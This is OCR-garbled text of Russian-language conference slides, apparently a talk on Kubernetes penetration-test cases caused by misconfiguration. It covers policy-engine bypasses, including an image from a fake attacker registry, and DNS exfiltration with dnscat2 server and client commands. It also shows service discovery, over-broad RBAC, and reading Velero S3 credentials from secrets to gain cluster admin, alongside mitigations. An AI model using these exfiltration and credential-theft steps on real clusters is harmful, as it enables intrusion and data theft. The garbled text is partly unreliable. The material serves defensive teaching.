 BEKOH™

EAWHCTBEHHASA KOHOEPEHLIUSA MO BE3OMNACHOCTH
~ . KOHTEMHEPOB U KOHTEUHEPHbIX CPEL]

Uctopun Kubernetes neHTecToB:
nyTb Yepe3 MUCKOHMUrypaumm

Cepren KaHnbop |


https://luntry.ru/

BEKOH* LUNTRY

MCTOPUN KUBERNETES
MEHTECTOB: NYTb
YEPE3
MUCKOH®PUTYPALIUA

Cepren KaHnoop =

R&D / Container Security, Luntry

KOH®EPEHLMSA MO BE3OMNACHOCTW KOHTEMHEPOB 1 KOHTEMHEPHbLIX CPE[
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[lepBad yactb BEKOH™

A JOURNEY THROUGH

VULNERABILITIES

Sergey Kanibor
R&D / Container Security, Luntry

Cnaunapbl

ZERCONIGHTS



https://materials.luntry.ru/f.php?h=0L6w_9F_&d=1

Apyrune poknaabl npo neHtect K8s

VOLGA CTF
r SERGEY

Cepreu N e iR

KaHu6op % LonTas

R&D / Container Security, Luntry
OFFZONE 2023. Volga CTF 2022.
Kubernetes Pentest All-in-One: The Pentesting Kubernetes:
Ultimate Toolkit From Zero to Hero

INTER
NATIONAL
OPEN
COMPETITION

BEIKOH**


https://www.youtube.com/watch?v=1w_t6mOaOq4
https://www.youtube.com/watch?v=1w_t6mOaOq4
https://www.youtube.com/watch?v=1w_t6mOaOq4
https://www.youtube.com/watch?v=1w_t6mOaOq4
https://www.youtube.com/watch?v=1w_t6mOaOq4
https://www.youtube.com/watch?v=1w_t6mOaOq4
https://www.youtube.com/watch?v=1w_t6mOaOq4
https://www.youtube.com/watch?v=MwVXWU324XY
https://www.youtube.com/watch?v=MwVXWU324XY
https://www.youtube.com/watch?v=MwVXWU324XY

1LEIY BEIKOH**

Policy Engine
Network Policy

RBAC
« Kak oguH MUCKOHQOUTI CKOMMPOMETMPOBAaI BCE OKpPYXeHne



BEIKOH™*

ONCKNEWMEP

Bce cobbiTusi, cny4yam n CKpUHLLOTbI ONMMUCaHHbIE B
9TOM [JoKraae, BbiMblLUNeHbl. JTloboe cxoacTBo C
peanbHbIMU COOLITUSAMMU, KOMNAHUSAMMN UMW NMOObMU
ABIIAAETCS CIyYanHbIM.



BEIKOH™*
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YTO He TaK C 3TOU NOZINTUKOU?

1. HeT npoBepku init n ephemeral containers

apiVersion: templates.gatekeeper.sh/vl
kind: ConstraintTemplate
metadata:
name: k8strustedregistry
spec:
crd:
spec:
names:
kind: K8sTrustedRegistry
validation:
openAPIV3Schema:
type: object
properties:
registries:
type: array
items:
type: string
targets:
- target: admission.k8s.gatekeeper.sh
rego: |
package k8strustedregistry

violation[{"msg": msg}] {

container := input.review.object.spec.containers[_]

not startswith_any(container.image, input.parameters.registries)
msg := sprintf("06pa3 %v He U3 pgoBepeHHOro registry",

}

[container.image])

startswith_any(image, registries) {
startswith(image, registries[_])

}

BEIKOH**

apiVersion: constraints.gatekeeper.sh/vlbetal
kind: K8sTrustedRegistry
metadata:

name: trusted-registry-only
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
parameters:
registries:
“registry.example.com"”
- "docker-proxy.registry.company.ru"



YTO He TaK € 3TOU NONAUTUKOWN? BEKOH™

2. Vlcnonb3oBaHue 0b6pa3oB N3 HeAOBEPEHHLIX registry

LN N 000
spec: apiVersion: vl
validationFailureAction: Enforce k”m& Pod
background: true metadata:
name: nginx
rules: cpec:
- name: validate-registries containers:
match: - name: nginx
any: image: internal-registry.company-name.registry.ru.evil.attacker-reg.com/nginx:1.14.2
- resources: ports:
kinds: - containerPort: 80
- Pod
validate:
message: Unknown image registry.
pattern:
spec:
containers

- image: docker-proxy.company-name.registry.ru* || internal-registry.company-name.registry.ru*

10



YTO He TaK € 3TOU NONAUTUKOWN? BEKOH™

3. Docker proxy == ntoboun obpas n3 MHTEpHeTa

*e 0

spec:
validationFailureAction: Enforce
background: true
rules:
- name: validate-registries
match:
any :
- resources:
kinds:
- Pod
validate:
message: Unknown image registry.
pattern:
Spec:
containers
- image: docker-proxy./company-name.registry.ru* | internal-registry.company-name.registry.ru#*

11



besrpaHuyHble uckntoveHus s Kyverno BEKOH™

spec:
validationFatlureAction: Enforce
background: true
rules:
- name: host-path
match:
any:
- resources:
Kinds:
- Pod
validate:
message: HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset.
pattern:
spec:
"=(volumes)":
- X(hostPath): "null"

12



be3rpaHuuHble ucknroueHusa B Kyverno

spec:
match:
any:
- resources:
kinds:
- DaemonSet
- Deployment
- Job
- StatefulSet
- ReplicaSet
- ReplicationController
- Pod
- CronJob
namespaces:
- tut-kakieto-ns
- tut-kakieto-ns-2
- tut-kakieto-ns-3..

spec:
match:
any:
- resources:
kinds:
- DaemonSet
- Deployment
- Job
- StatefulSet
- ReplicaSet
- ReplicationController
- Pod
- CronJob
names:
- '"*haproxyx*'
- '*ipngress*’
- '*kakoi-to-name*'

BEIKOH**

(K



[la 310 He b6ar BoBCe e

* [ckntoyeHna He paboTtanu nog nornyeckum

« HasBaB Harpysky ingress, MOXHO ObIfo
3agennontbcsa ¢ hostPath

* B Kyverno ckasanu, 4To 3TO OXXngaemoe noseaeHue
N B CBEXUX BEPCUSAX, €CIN Y MONIUTUKN ECTb
HECKOJIbKO MUCKIMIOYEHNN — MPUMEHSAIOTCA BCE

« CVE He panu, HO onybrnukoBanu

ind 1 . P - .
_df MariamFahmy98 commented on Sep 11, 2025 Contributor =~ »=»

Upon investigation, it appears that this is the expected behavior. In case of having multiple exceptions, and the resource
matches any of them, then it will be successfully created.

Sstarting from 1.13, we return all the exceptions that match the incoming resource here.

14


https://github.com/kyverno/kyverno/security/advisories/GHSA-gg4x-fgg2-h9w9

EKOH*

5

He cnbiwanwu

icy?

Network Pol

KOH®EPEHLNA MO BE3ONACHOCTU KOHTEMHEPOB M KOHTEVMHEPHbLIX CPE[



dKchunbTpauma yepes DNS BEKOH™

« B knactepe pabotatoT ceTeBble
NONMUTUKN, KOTOPblE pa3peLuatoT
obLleHne ToNbKO B npeaenax
BblOerneHHoro Hemmcnenca memeees mmmememee eseiiias e T T TR

rootadns-tunnel-tin:/dnscat2/server# ruby ./dnscat2.rb dns.luntry.com
* X moxeTt BoobOLle He ObITb, HO

New window created: 0

KﬂaCTep pa3BepHyT BO New window created: crypto-debug
BHyTpeHHeM KOHType KOMMNaHuu Welcome to dnscat2! Some documentation may be out of date.
* Ho DNS pornxeH 6bITb Bceraa aute aktach = false
X history_size (for new windows) => 1000
pa3pe|-|-|eH Security policy changed: All connections must be encrypted
New window created: dnsl
* L‘IaCTO DNS peBOJ'IBI/IT BHELWHNE Starting Dnscat2 DNS server on 0.0.0.0:53
NOMEHbI [domains = dns.luntry.com]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

./dnscat --secret=fal99635dale052047ca8leaacb8b6c3 dns.luntry.com
To talk directly to the server without a domain name, run:

./dnscat --dns server=x.Xx.Xx.Xx,port=53 --secret=fal99635dale052047ca8leaach8b6c3

16



3awwmta ot DNS aKchunbrTpauum BEKOH™

apiVersion: cilium.1io/v2
kind: CiliumNetworkPolicy
metadata:
name: allow-internal-dns-only
namespace: my-namespace

spec:
endpointSelector: {}
egress:
- toEndpoints:
- matchLabels:

k8s:10.kubernetes.pod.namespace: kube-system
k8s-app: kube-dns

toPorts:
- ports:
- port: "53"
protocol: UDP
- port: "53"
protocol: TCP
rules:
dns:

- matchPattern: "*"

17



Service Discovery

« dig SRV +short any.svc.cluster.local
« HaunHaga c CoreDNS 1.9 3Ty BO3MOXXHOCTb BbINUMUIK

[Monb3yemcs k8spider

Wildcard (any.svc.cluster.local)

AXFR dumping
Brute force

BEIKOH**

root@mtkpi-7588ffcc46-zfrgf:/tmp# k8spider all
wildcard dns query to any.any.svc.cluster.local. failed: lookup any.any.svc.cluster.local. on 19.96.0.1
wildcard dns query to any.any.any.svc.cluster.local. failed: lookup any.any.any.svc.cluster.local. on 1

WARN[ 0008 ]
WARN[ @888 ]
[0000]
INFO[B@ge]
INFO[ 0608 ]
INFO[p@B8]
INFO[ 0608 ]
INFO[p@B8]
INFO[B866 ]
19402
INFO[B866 ]
INFO[B@66 ]

INFO[ 8866 ]
INFO[B866 ]
INFO[ 8866 ]
INFO[B@66 ]
INFO[ 0866 ]

Transfer failed: dns:

PTRrecord

SRVRecord:

PTRrecord

SRVRecord:
SRVRecord:
SRVRecord:

SRVRecord:
SRVRecord:

SRVRecord:
SRVRecord:
SRVRecord:
SRVRecord:
SRVRecord:

bad xfr rcode: 5

10.96.8.1 --> kubernetes.default.svc.cluster.local.
kubernetes.default.svc.cluster.local. --> kubernetes.default.svec.cluster.local. :443

10.96.8.10 -->
kube-dns.kube
kube-dns.kube
18-244-57-193

18-244-57-194.
10-244-57-194.

18-244-57-195
18-244-57-196
186-244-57-198

10-244-57-202.
10-244-57-202.

kube-dns.kube-system.svc.cluster.local.

-system.svc.cluster.local. --> kube-dns.kube-system.svc.cluster.local. :9153
-system.svc.cluster.local. --> kube-dns.kube-system.svc.cluster.local. :53

.cert-manager-cainjector.cert-manager.svc.cluster.local. --> 18-244-57-193.cert

cert-manager-webhook.cert-manager.svc.cluster.local. --> 18-244-57-194 .cert-me
cert-manager-webhook.cert-manager.svc.cluster.local. --> 10-244-57-194.cert-me

.cert-manager.cert-manager.svc.cluster.local. --> 10-244-57-195.cert-manager.ce
.prom-node-exporter.monitoring.svc.cluster.local. --> 18-244-57-196.prom-node-¢
.metrics-server.kube-system.svc.cluster.local. --> 108-244-57-198.metrics-server
luntry-lapi.luntry.svc.cluster.local. --> 18-244-57-202.luntry-lapi.luntry.svc
luntry-lapi.luntry.svc.cluster.local. --> 18-244-57-202.luntry-lapi.luntry.svc

18



3aKkpbiBaem pa3BeaKy cepsucos B k8s BEKOH™

« OOHOBUTL CoreDNS oo >=1.9

* [1poBeputb KOHGUr CoreDNS n yoegntecs, yto AXFR
BbIKMNIO4YEH

* [cnonb3oBaTtb ceTeByto nonnTtuky angd DNS
 CeteBad cermenHTauusa L3/L4

19



BEIKOH™*

N30bITouHbIe RBAC npuBunernu
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U3nnwHue RBAC npaBa y Kubernetes runner

e Takune npaBa ecTb BO BCEX
HenMcnencax

« [laxxe ecnu ecTtb Policy
Engine, MOXXHO 060UTH
3agensionB B kube-system

* [lo ymonyaHuio — npaea
OOBOMNbLHO LLINMPOKNE

* MoryT ObITb pacLlMpPEHDI
yepes yKkasaHue Service
Account

7 $ kubectl auth can-i --list

Resources
clusterimagepolicies.*
cronjobmetas.*
daemonsets.*
deployments.*/rollback

5 deployments.*/scale

deployments.*
horizontalpodautoscalers.*
imagepolicies.*

ingresses.x

limitranges.*
mutatingwebhookconfigurations.*

186 namespaces.*

poddisruptionbudgets.*
prometheusrules.*
replicasets.x/scale
replicasets.x
replicationcontrollers.*/scale
replicationcontrollers.x
rolebindings.*

roles.*

servicemetas.*

6 statefulsets.x/scale

statefulsets.x
virtualservers.*
configmaps

endpoints

events
persistentvolumeclaims
pods/log

pods/portforward
pods/status

pods

secrets

cronjobs.batch

jobs.batch
volumesnapshotclasses.snapshot.storage.k8s.io
csidrivers.storage.k8s.io
services

Non-Resource URLs
(]
(]
(]
(1
[]
[]
[1
(]
[]
(1
(1
(1
(1
[]
[]
[1
(]
[1
(]
(1
(]
(]
(]
[1
[]
[]
[1
(]
[]
(1
(1
(]
[]
[]
[]
[1
(1
[1

Resource Names
[1
[]
[]
[1
[1
[1
[1
[1
[1
[1
[1
[]
[]
[1
[1
[1
[1
[1
[
[1
[1
[1
[]
[1
[1
[1
[1
[1
[1
[1
[1
[]
[]
[1
[1
[1
[1
[1

BEIKOH**

Verbs

[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[create d¢
[create de¢
[create d¢

21


https://docs.gitlab.com/runner/executors/kubernetes/#configure-runner-api-permissions
https://docs.gitlab.com/runner/executors/kubernetes/#configure-runner-api-permissions

GET Ha camom gene EXEC BEKOH™

. get npaBa Ha pods/exec atoT BO3MOXHOCTb
UCMOJTHATb KOMaHAbl B KOHTENHepe

« OT10 6bINa read only ponb anga paspaboTtynka

[ /openapi]
[/readyz]

[/readyz]

[/version/]
[/version/]
[/version]
[/version]
watch]
watch]
watch]
watch]
watch]
watch]

resourcequotas.*
componentstatuses
configmaps

events
limitranges
namespaces

Noaae

[]
[]
[]
[]
[]
[]
[]
[]
[]
[]
[]
[]
[]

22


https://kubernetes.io/blog/2024/08/20/websockets-transition/
https://kubernetes.io/blog/2024/08/20/websockets-transition/
https://kubernetes.io/blog/2024/08/20/websockets-transition/

BEIKOH™*

KOMIMNaHNNA
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KomnpomeTtauus uenoro oKpy>KeHusa yepes oguH Knacrep BEKOH™

* Mbl nonydunm Cluster Admin B stage knactepe,
NpO3KcnyaTupoBas yA3BMMOCTb 1IN
BOCMNOMb30BaBLUNCb MUCKOHJOUIOM

 Haxooum Velero v kpegbl K HEMY B Knactepe
* Isyyaem Gakansl..

# ./Kubectl get secrets -n velero creds —oyamlL

1d0ZktHROhPCg==
kind: Secret
metadata:
creationTimestamp:
labels:
kustomize.toolki

kustomize.toolk
name: creds
namespace: velero
resourceVersion: "403465779"
uid: a65f25c0-e3ee-4170-8ff3-15b17d1dc7f5

m ./kubectl get bsl -n velero default -oyaml
apiVersion: velero.io/v

kind: BackupStoragelLocation
metadata:
annotations:
helm.sh/hook: post-install,post-upgrade,post-rollback
helm.sh/hook-delete-policy: before-hook-creation
creationTimestamp: "2025-01-24T09:28:46Z"
generation: 560971
labels:
app. kubernetes.io/instance: velero
app. kubernetes.io/managed-by: Helm
app.kubernetes.io/name: velero
helm.sh/chart: velero-4.1.1
name: default
namespace: velero
resourceVersion: "2961877111"
uid: 92d7da@a-bc2f-4bde-80cc-2b1b@682fdbo
spec:
accessMode: ReadWrite
config:
region: minio

s3ForcePathStyle: "tri
s3Url: https://minio-
default: true 24



KomnpomeTauusa uenoro oKpyxeHusa yepes oauH BEKOH
Knacrep

Celluac Mbl c4MUTaeM, YTo B BbakeTax velero He
XPaHATCA HY aAMUHCKKX k8S yueTHbIX 3anmncei,

aws s3 ls s3://velero—-stage/ —endpoint—url https://mil

HU YYeTHbIX 3anucer oT NpuioxeHMn. Ecnum
AOKaxeTe obpaTHOe, byseT XOpoLUO)

PRE k8s
PRE k8s
PRE k8s
PRE k8s
root@mtkpi: /tmp# k get secrets -n velero creds -oyaml PRE k8s
apiVersion: vi PRE k8s
data: PRE k8s
cloud: W2R1ZmF1bHRACmF3c19hY PRE k8s
kind: Secret
metadata: PRE k8s
creationTimestamp: "2024-91-11T10:11:012" PRE k8s
labels: PRE k8s
kustomize.toolkit. fluxcd.io/name: secrets PRE k&<
kustomize.toolkit.fluxcd.io/namespace: flux-system
name: creds
namespace: velero
resourceVersion: '168196075"
uid: 695adddd-5b46-45a7-a39e-20c9dfb62567
type: Opaque
root@mtkpi: /tmp# echo "W2R1ZmF1bHRdACmF3c19h ' | base64 -d

[default]
aws_access_key_id=vele
aws_secret_access_key=

root@mtkpi:/tmp# [

25



KomnpomeTauusa uenoro oKpyxeHusa yepes oauH BEKOH
Knacrep

secrets

namespaces

' cert-managel

{ v nodes

llapiversion": llvll'l,
"data": { Vv cluster

"ca.crt": "LSOtLS1CRUdJITiBDRVIl k8s
"namespace”: "REDACTED", I
"token": "ZX1KaGJHY21PaUpTVX<RI k8s

k8s
k8s

26



KomnpomeTauumsa Lenoro okpy:KeHus yepes oguH BEKOH=
Knacrep

kubectl get no

* cnonb3oBaB cobpaHHbIN
kubeconfig, nony4yaem
npaBa Cluster Admin B
nobom knactepe m3 e
6oKana

[] [1 [*]

;elfsubjectreviews.authentication.k8s.io [1 [1 [create]

ielfsubjectaccessreviews.authorization.k8s.io [] [1 [create]

selfsubjectrulesreviews.authorization.k8s.io [ [ [create]
[/.well-known/openid-configuration/1  [] [get]
[/.well-known/openid-configuration] [1 [get]
[/api/*] [1 [get]
[/apil [1 [get]
[/apis/*] [1 [get]
[/apis] [1 [get]
[/healthz] [1 [get]
[/healthz] [1 [get]
[/livez] [1 [get]
[/livez] [1 [get]
[/openapi/*] [1 [get]
[/openapi] (] [get]
[/openid/v1/jwks/] [1 [get]
[/openid/v1/jwks] [1 [get]
[/readyz] [1 [get]
[/readyz] [1 [get]
[/version/] [1 [get]
[/version/] [1 [get]
[/version] [1 [get]

27



KomnpomeTauusa uenoro oKpyxeHusa yepes oauH BEKOH
Knacrep

P _r \Velero S
g storage

Kubernetes Clusters

NoaknioyeHne K Cekper

MiniO stage 53 bucket 3l configuration- Kpadt konura ua cekpera
Velero token

storage

Mony4exne Cluster Admin

Cluster Admin
8 N0GOM KNacTepe U3 OKPYHEeHUA

Velero
storage

28



ELe mHOro MUCKOHOMUroB... BEKOH™

« PaspeleH ExternallP — MITM n DoS Kyverno
 LLlegynuHr Ha macTtep HoAb!

» CekpeTbl B Secrets

* YTeuka TokeHa Gitlab Runner

* YTe4yka KpeaoB oT S3 xpanunuuia c kewem Gitlab Job
 Kiali exposed dashboard

« PasnunyHble 6annacskl Policy Engine nonutunk

* KOHTpONb TONbLKO BEPXHEYPOBHEBLIX poanTenen

29



BbiBOoAbI

* MuckoHUros > YaA3BMMOCTEN, HO BCE 3aBUCUT OT 3PENOCTN KOMMNaHUn
1 npoLeccos

« CornacoBaHHocTb T n b aTo BaxHO
* He xpaHuTe cekpeTbl B Secrets =)

BEIKOH**
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